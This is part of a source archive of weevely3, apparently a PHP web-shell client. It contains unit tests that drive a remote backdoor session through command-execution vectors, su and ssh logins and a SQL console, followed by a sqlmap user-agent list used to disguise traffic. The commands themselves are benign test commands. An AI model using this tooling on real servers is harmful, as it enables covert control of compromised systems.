self.assertEqual(messages.module_shell_php.error_404_remote_backdoor, log_captured.records[-1].msg) epinna-weevely3-445bd88/tests/test_shell_sh.py000066400000000000000000000045531444353330400214570ustar00rootroot00000000000000from tests.base_test import BaseTest from core.weexceptions import ArgparseError from core.vectors import PhpCode from core.vectors import Os from core import modules from core.sessions import SessionURL from core import messages import logging import os class SystemInfo(BaseTest): def setUp(self): self.session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(self.session) self.run_argv = modules.loaded['shell_sh'].run_argv def _spoil_vectors_but(self, vector_safe_name): # Spoil all the module sessions but the safe one for i in range(0, len(modules.loaded['shell_sh'].vectors)): name = modules.loaded['shell_sh'].vectors[i].name payload = modules.loaded['shell_sh'].vectors[i].arguments[0] if name != vector_safe_name: modules.loaded['shell_sh'].vectors[i] = PhpCode('\'"%s' % payload, name) def test_run_unless(self): vector_safe_name = 'proc_open' self._spoil_vectors_but(vector_safe_name) # Check correctness of execution self.assertEqual(self.run_argv(["echo -n 1"]), "1"); # Check stored vector self.assertEqual(self.session['shell_sh']['stored_args']['vector'], vector_safe_name) def test_param_vector(self): vector_safe_name = 'proc_open' # Check correctness of execution self.assertEqual(self.run_argv(["-vector", vector_safe_name, "echo -n 1"]), "1"); # Check stored vector self.assertEqual(self.session['shell_sh']['stored_args']['vector'], vector_safe_name) def test_vector_one_os(self): bogus_vector = 'bogus_win' # Add a bogus Os.WIN vector modules.loaded['shell_sh'].vectors.append(PhpCode("echo(1);", name=bogus_vector, target=Os.WIN)) # Check if called forced the bogusv vector name, returns Null self.assertRaises(ArgparseError, self.run_argv, ["-vector", bogus_vector, "echo 1"]); def test_vector_all_os(self): bogus_vector = 'bogus_win' # Add a bogus Os.WIN vector modules.loaded['shell_sh'].vectors.append(PhpCode("echo(1);", name=bogus_vector, target=Os.WIN)) # Spoil all vectors but bogus_win self._spoil_vectors_but(bogus_vector) # Check if looping all vectors still returns None self.assertIsNone(self.run_argv(["echo 1"]), None); epinna-weevely3-445bd88/tests/test_shell_ssh.py000066400000000000000000000012421444353330400216320ustar00rootroot00000000000000from core import modules from core.sessions import SessionURL from tests.base_test import BaseTest from tests.config import su_user, su_passwd class ShellSsh(BaseTest): def setUp(self): self.session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(self.session) self.vector_list = modules.loaded['shell_ssh'].vectors.get_names() self.run_argv = modules.loaded['shell_ssh'].run_argv def test_param_vector(self): for vect in self.vector_list: output = self.run_argv(['-vector', vect, f'{su_user}@localhost', su_passwd, 'whoami']) self.assertEqual(output.rstrip(), su_user) epinna-weevely3-445bd88/tests/test_shell_su.py000066400000000000000000000015661444353330400214750ustar00rootroot00000000000000from tests.base_test import BaseTest from core.weexceptions import ArgparseError from core.vectors import PhpCode from core.vectors import Os from core import modules from core.sessions import SessionURL from core import messages from tests.config import su_user, su_passwd import core.config import unittest import logging import os class ShellSu(BaseTest): def setUp(self): self.session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(self.session) self.vector_list = modules.loaded['shell_su'].vectors.get_names() self.run_argv = modules.loaded['shell_su'].run_argv def test_param_vector(self): for vect in self.vector_list: # Check correctness of execution self.assertEqual(self.run_argv(["-vector", vect, "-u", su_user, su_passwd, "whoami"]).rstrip(), su_user); epinna-weevely3-445bd88/tests/test_sql_console.py000066400000000000000000000062241444353330400221740ustar00rootroot00000000000000import subprocess import unittest from testfixtures import log_capture from core import messages from core import modules from core.sessions import SessionURL from tests import config from tests.base_test import BaseTest def setUpModule(): try: # This workaround fixes https://github.com/docker/for-linux/issues/72 subprocess.check_output("""find /var/lib/mysql -type f -exec touch {} \; && service mariadb start""", shell=True) except Exception as e: print('[!] Failed mysql') print(subprocess.check_output("""grep "" /var/log/mysql/*""", shell=True)) raise class MySQLConsole(BaseTest): def setUp(self): self.session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(self.session) self.run_argv = modules.loaded['sql_console'].run_argv self.run_cmdline = modules.loaded['sql_console'].run_cmdline @unittest.skipIf(not config.sql_autologin, "Autologin is not set") def test_autologin(self): self.assertEqual(self.run_argv(['-query', "select 'A';"]), { 'error' : '', 'result' : [["A"], ["A"]] }) self.assertEqual(self.run_argv(['-query', 'select @@hostname;'])['error'], '') self.assertEqual(self.run_argv(['-query', 'show databases;'])['error'], '') @log_capture() @unittest.skipIf(not config.sql_autologin, "Autologin is not set") def test_wrongcommand(self, log_captured): # Wrong command self.assertEqual(self.run_cmdline('-query bogus')['result'], []) # Checking if the error message start about the missing comma is ok self.assertEqual('%s %s' % (messages.module_sql_console.no_data, messages.module_sql_console.check_credentials), log_captured.records[-2].msg) def test_wronglogin(self): wrong_login = '-user bogus -passwd bogus -query "select \'A\';"' # Using run_cmdline to test the outputs self.assertIn('Access denied for user', self.run_cmdline(wrong_login)['error']) def test_wrong_port(self): wrong_port = ['-user', config.sql_user, '-passwd', config.sql_passwd, '-port', '1234', '-query', 'select 1234;'] # Using run_cmdline to test the outputs self.assertIn('Cannot assign requested address', self.run_argv(wrong_port)['error']) def test_login(self): login = ['-user', config.sql_user, '-passwd', config.sql_passwd ] self.assertEqual(self.run_argv(login + [ '-query', "select 'A';"]), { 'error' : '', 'result' : [['A'], ['A']] }) self.assertEqual(self.run_argv(login + ['-query', 'select @@hostname;'])['error'], '') self.assertEqual(self.run_argv(login + ['-query', 'show databases;'])['error'], '') # The user is returned in the form `[[ user@host ]]` self.assertEqual( self.run_argv(login + ['-query', 'SELECT USER();'])['result'][1][0][:len(config.sql_user)], config.sql_user ) self.assertEqual( self.run_argv(login + ['-query', 'SELECT CURRENT_USER();'])['result'][1][0][:len(config.sql_user)], config.sql_user ) epinna-weevely3-445bd88/tests/test_system_info.py000066400000000000000000000017601444353330400222120ustar00rootroot00000000000000from tests.base_test import BaseTest from testfixtures import log_capture from core.weexceptions import ArgparseError from core import modules from core.sessions import SessionURL import os class SystemInfo(BaseTest): def setUp(self): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) self.run_argv = modules.loaded['system_info'].run_argv @log_capture() def test_commands(self, log_captured): # Get all infos, returns a dict vectors_names = [v.name for v in modules.loaded['system_info'].vectors ] self.assertEqual(set(self.run_argv([ '-extended' ]).keys()), set(vectors_names)); # Get just one info, returns a string self.assertEqual( os.path.split(self.run_argv(["-info", "script"]))[1], os.path.split(self.path)[1] ); # Pass unexistant info self.assertRaises(ArgparseError, self.run_argv, ["-info", "BOGUS"]); epinna-weevely3-445bd88/tests/test_terminal.py000066400000000000000000000167441444353330400214760ustar00rootroot00000000000000from tests.base_test import BaseTest from core.weexceptions import FatalException from testfixtures import log_capture from core.terminal import Terminal from core.sessions import SessionURL, SessionFile from core import modules from core import messages import subprocess def setUpModule(): subprocess.check_output(""" echo 1 > "/tmp/sessionfile1" echo 'url: http://localhost:123' > "/tmp/sessionfile2" echo '' > "/tmp/sessionfile3" """, shell=True) class TerminalTest(BaseTest): @log_capture() def setUp(self, log_captured): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) self.terminal = Terminal(session) self.brokensessionfiles = [ '/nonexistent', '/tmp/sessionfile1', '/tmp/sessionfile2', '/tmp/sessionfile3' ] def _assert_exec(self, line, expected, log_captured): line = self.terminal.precmd(line) stop = self.terminal.onecmd(line) stop = self.terminal.postcmd(stop, line) self.assertEqual(log_captured.records[-1].msg, expected) @log_capture() def test_base(self, log_captured): # Basic self._assert_exec('echo 1', '1', log_captured) # Module with single argument self._assert_exec(':shell_php echo(1);', '1', log_captured) # Module with multiple argument wrognly passed and precisely fixed self._assert_exec(':shell_php echo(1); echo(2);', '12', log_captured) # Module with multiple argument properly passed self._assert_exec(':shell_php "echo(1); echo(2);"', '12', log_captured) # Module with mandatory and optional arguments properly passed self._assert_exec(':shell_php -postfix-string echo(3); "echo(1); echo(2);"', '123', log_captured) # Module with mandatory and optional arguments wrongly passed but precisely fixed self._assert_exec(':shell_php -postfix-string echo(3); echo(1); echo(2);', '123', log_captured) @log_capture() def test_session(self, log_captured): # Test to open a session from wrong files for path in self.brokensessionfiles: self.assertRaises(FatalException, lambda: SessionFile(path)) @log_capture() def test_run_wrong_pass(self, log_captured): session = SessionURL(self.url, 'BOGUS', volatile = True) modules.load_modules(session) terminal = Terminal(session) line = 'echo 1' line = terminal.precmd(line) stop = terminal.onecmd(line) stop = terminal.postcmd(stop, line) # Test the behaviour when starting terminal on wrong remote pass self.assertTrue( log_captured.records[-1].msg.endswith( messages.terminal.backdoor_unavailable ) ) @log_capture() def test_run_wrong_url(self, log_captured): session = SessionURL(self.url + 'BOGUS', 'BOGUS', volatile = True) modules.load_modules(session) terminal = Terminal(session) line = 'echo 1' line = terminal.precmd(line) stop = terminal.onecmd(line) stop = terminal.postcmd(stop, line) # Test the behaviour when starting terminal on wrong remote URL self.assertTrue( log_captured.records[-1].msg.endswith( messages.terminal.backdoor_unavailable ) ) @log_capture() def test_quote_error(self, log_captured): err_msg = 'Error parsing command: No closing quotation' self._assert_exec(':shell_php \'', err_msg, log_captured) self._assert_exec(':set shell_php "', err_msg, log_captured) @log_capture() def test_set(self, log_captured): self._assert_exec(':set', messages.terminal.set_usage, log_captured) self._assert_exec(':set ASD', messages.terminal.set_usage, log_captured) self._assert_exec(':set asd asd', messages.sessions.error_session_s_not_modified % 'asd', log_captured) self._assert_exec(':set asd asd asd', messages.sessions.error_session_s_not_modified % 'asd', log_captured) self._assert_exec(':set channel asd', messages.sessions.set_s_s % ('channel', 'asd'), log_captured) self._assert_exec(':set shell_sh.vector asd', messages.sessions.set_module_s_s_s % ('shell_sh', 'vector', 'asd'), log_captured) @log_capture() def test_unset(self, log_captured): self._assert_exec(':unset', messages.terminal.unset_usage, log_captured) self._assert_exec(':unset ASD', messages.sessions.error_session_s_not_modified % 'ASD', log_captured) self._assert_exec(':unset asd asd', messages.sessions.error_session_s_not_modified % 'asd asd', log_captured) self._assert_exec(':unset channel', messages.sessions.unset_s % ('channel'), log_captured) self._assert_exec(':set shell_sh.vector asd', messages.sessions.set_module_s_s_s % ('shell_sh', 'vector', 'asd'), log_captured) self._assert_exec(':unset shell_sh.vector', messages.sessions.unset_module_s_s % ('shell_sh', 'vector'), log_captured) @log_capture() def test_session_shell_vector(self, log_captured): self._assert_exec(':set shell_sh.vector BOGUS', messages.sessions.set_module_s_s_s % ('shell_sh', 'vector', 'BOGUS'), log_captured) self._assert_exec(':show shell_sh.vector', messages.sessions.set_module_s_s_s % ('shell_sh', 'vector', 'BOGUS'), log_captured) # Vectorlist methods ignore bogus vectors and just keep trying. # TODO: should warn about unexistant vector, but seems too messy to fix self._assert_exec('echo 1', '1', log_captured) self._assert_exec(':show shell_sh.vector', messages.sessions.set_module_s_s_s % ('shell_sh', 'vector', 'system'), log_captured) self._assert_exec(':set shell_sh.vector passthru', messages.sessions.set_module_s_s_s % ('shell_sh', 'vector', 'passthru'), log_captured) self._assert_exec(':show shell_sh.vector', messages.sessions.set_module_s_s_s % ('shell_sh', 'vector', 'passthru'), log_captured) self._assert_exec('echo 1', '1', log_captured) self._assert_exec(':show shell_sh.vector', messages.sessions.set_module_s_s_s % ('shell_sh', 'vector', 'passthru'), log_captured) @log_capture() def test_session_channel(self, log_captured): self._assert_exec('echo 1', '1', log_captured) self._assert_exec(':set channel BOGUS', messages.sessions.set_s_s % ('channel', 'BOGUS'), log_captured) self._assert_exec('echo 1', messages.channels.error_loading_channel_s % 'BOGUS', log_captured) self._assert_exec(':unset channel', messages.sessions.unset_s % ('channel'), log_captured) @log_capture() def test_session_proxy(self, log_captured): self._assert_exec('echo 1', '1', log_captured) self._assert_exec(':set proxy BOGUS', messages.sessions.set_s_s % ('proxy', 'BOGUS'), log_captured) self._assert_exec('echo 1', messages.channels.error_proxy_format, log_captured) self._assert_exec(':unset proxy', messages.sessions.unset_s % ('proxy'), log_captured) # TODO: move unset and set output in messages self._assert_exec('echo 1', '1', log_captured) self._assert_exec(':set proxy http://127.0.0.1:12782', 'proxy = http://127.0.0.1:12782', log_captured) # Test the behaviour when starting terminal on wrong remote pass self._assert_exec('echo 1', messages.terminal.backdoor_unavailable, log_captured) self._assert_exec(':unset proxy', messages.sessions.unset_s % ('proxy'), log_captured) epinna-weevely3-445bd88/utils/000077500000000000000000000000001444353330400162345ustar00rootroot00000000000000epinna-weevely3-445bd88/utils/__init__.py000066400000000000000000000002371444353330400203470ustar00rootroot00000000000000# Importing stuff in __init__.py allows importing direct submodule import from . import http from . import strings from . import prettify from . import iputil epinna-weevely3-445bd88/utils/_http/000077500000000000000000000000001444353330400173525ustar00rootroot00000000000000epinna-weevely3-445bd88/utils/_http/user-agents.txt000066400000000000000000014003521444353330400223550ustar00rootroot00000000000000# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA. # Opera Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 7.60 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; IT) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; ru) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; ru) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60 Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62 Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; de) Opera 11.51 Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.51 Mozilla/5.0 (Windows 98; U; en) Opera 8.54 Mozilla/5.0 (Windows ME; U; en) Opera 8.51 Mozilla/5.0 (Windows NT 5.0; U; de) Opera 8.50 Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0 Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.50 Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.52 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.0 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.01 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.02 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.51 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.52 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.53 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11 Mozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 Mozilla/5.0 (Windows NT 5.1; U; Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; fr) Opera 8.51 Mozilla/5.0 (Windows NT 5.1; U; pl) Opera 8.54 Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Windows NT 5.1; U; ru) Opera 8.51 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 Mozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 Mozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14 Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10 Mozilla/5.0 (Windows NT 6.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 Mozilla/5.0 (Windows NT 6.1; U; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (X11; Linux i686; U; en) Opera 8.52 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60 Opera/8.00 (Windows NT 5.1; U; en) Opera/8.01 (Macintosh; PPC Mac OS X; U; en) Opera/8.01 (Macintosh; U; PPC Mac OS; en) Opera/8.01 (Windows NT 5.0; U; de) Opera/8.01 (Windows NT 5.1; U; de) Opera/8.01 (Windows NT 5.1; U; en) Opera/8.01 (Windows NT 5.1; U; fr) Opera/8.01 (Windows NT 5.1; U; pl) Opera/8.02 (Windows NT 5.1; U; de) Opera/8.02 (Windows NT 5.1; U; en) Opera/8.02 (Windows NT 5.1; U; ru) Opera/8.0 (Windows NT 5.1; U; en) Opera/8.0 (X11; Linux i686; U; cs) Opera/8.10 (Windows NT 5.1; U; en) Opera/8.50 (Windows 98; U; en) Opera/8.50 (Windows 98; U; ru) Opera/8.50 (Windows ME; U; en) Opera/8.50 (Windows NT 4.0; U; zh-cn) Opera/8.50 (Windows NT 5.0; U; de) Opera/8.50 (Windows NT 5.0; U; en) Opera/8.50 (Windows NT 5.0; U; fr) Opera/8.50 (Windows NT 5.1; U; de) Opera/8.50 (Windows NT 5.1; U; en) Opera/8.50 (Windows NT 5.1; U; es-ES) Opera/8.50 (Windows NT 5.1; U; fr) Opera/8.50 (Windows NT 5.1; U; pl) Opera/8.50 (Windows NT 5.1; U; ru) Opera/8.51 (FreeBSD 5.1; U; en) Opera/8.51 (Macintosh; PPC Mac OS X; U; de) Opera/8.51 (Windows 98; U; en) Opera/8.51 (Windows NT 5.0; U; en) Opera/8.51 (Windows NT 5.1; U; de) Opera/8.51 (Windows NT 5.1; U; en) Opera/8.51 (Windows NT 5.1; U; fr) Opera/8.51 (Windows NT 5.1; U; nb) Opera/8.51 (Windows NT 5.1; U; pl) Opera/8.51 (X11; Linux i686; U; en) Opera/8.51 (X11; Linux x86_64; U; en) Opera/8.51 (X11; U; Linux i686; en-US; rv:1.8) Opera/8.52 (Windows ME; U; en) Opera/8.52 (Windows NT 5.0; U; en) Opera/8.52 (Windows NT 5.1; U; en) Opera/8.52 (Windows NT 5.1; U; ru) Opera/8.52 (X11; Linux i686; U; en) Opera/8.52 (X11; Linux x86_64; U; en) Opera/8.53 (Windows 98; U; en) Opera/8.53 (Windows NT 5.0; U; en) Opera/8.53 (Windows NT 5.1; U; de) Opera/8.53 (Windows NT 5.1; U; en) Opera/8.53 (Windows NT 5.1; U; pt) Opera/8.53 (Windows NT 5.2; U; en) Opera/8.54 (Windows 98; U; en) Opera/8.54 (Windows NT 4.0; U; zh-cn) Opera/8.54 (Windows NT 5.0; U; de) Opera/8.54 (Windows NT 5.0; U; en) Opera/8.54 (Windows NT 5.1; U; en) Opera/8.54 (Windows NT 5.1; U; pl) Opera/8.54 (Windows NT 5.1; U; ru) Opera/8.54 (X11; Linux i686; U; de) Opera/8.54 (X11; Linux i686; U; pl) Opera/9.00 (Macintosh; PPC Mac OS X; U; es) Opera/9.00 (Windows NT 5.0; U; en) Opera/9.00 (Windows NT 5.1; U; de) Opera/9.00 (Windows NT 5.1; U; en) Opera/9.00 (Windows NT 5.1; U; es-es) Opera/9.00 (Windows NT 5.1; U; fi) Opera/9.00 (Windows NT 5.1; U; fr) Opera/9.00 (Windows NT 5.1; U; it) Opera/9.00 (Windows NT 5.1; U; ja) Opera/9.00 (Windows NT 5.1; U; nl) Opera/9.00 (Windows NT 5.1; U; pl) Opera/9.00 (Windows NT 5.1; U; ru) Opera/9.00 (Windows NT 5.2; U; en) Opera/9.00 (Windows NT 5.2; U; pl) Opera/9.00 (Windows NT 5.2; U; ru) Opera/9.00 (Windows; U) Opera/9.00 (X11; Linux i686; U; de) Opera/9.00 (X11; Linux i686; U; en) Opera/9.00 (X11; Linux i686; U; pl) Opera/9.01 (Macintosh; PPC Mac OS X; U; en) Opera/9.01 (Macintosh; PPC Mac OS X; U; it) Opera/9.01 (Windows NT 5.0; U; de) Opera/9.01 (Windows NT 5.0; U; en) Opera/9.01 (Windows NT 5.1) Opera/9.01 (Windows NT 5.1; U; bg) Opera/9.01 (Windows NT 5.1; U; cs) Opera/9.01 (Windows NT 5.1; U; da) Opera/9.01 (Windows NT 5.1; U; de) Opera/9.01 (Windows NT 5.1; U; en) Opera/9.01 (Windows NT 5.1; U; es-es) Opera/9.01 (Windows NT 5.1; U; ja) Opera/9.01 (Windows NT 5.1; U; pl) Opera/9.01 (Windows NT 5.1; U; ru) Opera/9.01 (Windows NT 5.2; U; en) Opera/9.01 (Windows NT 5.2; U; ru) Opera/9.01 (X11; FreeBSD 6 i386; U; en) Opera/9.01 (X11; FreeBSD 6 i386; U;pl) Opera/9.01 (X11; Linux i686; U; en) Opera/9.01 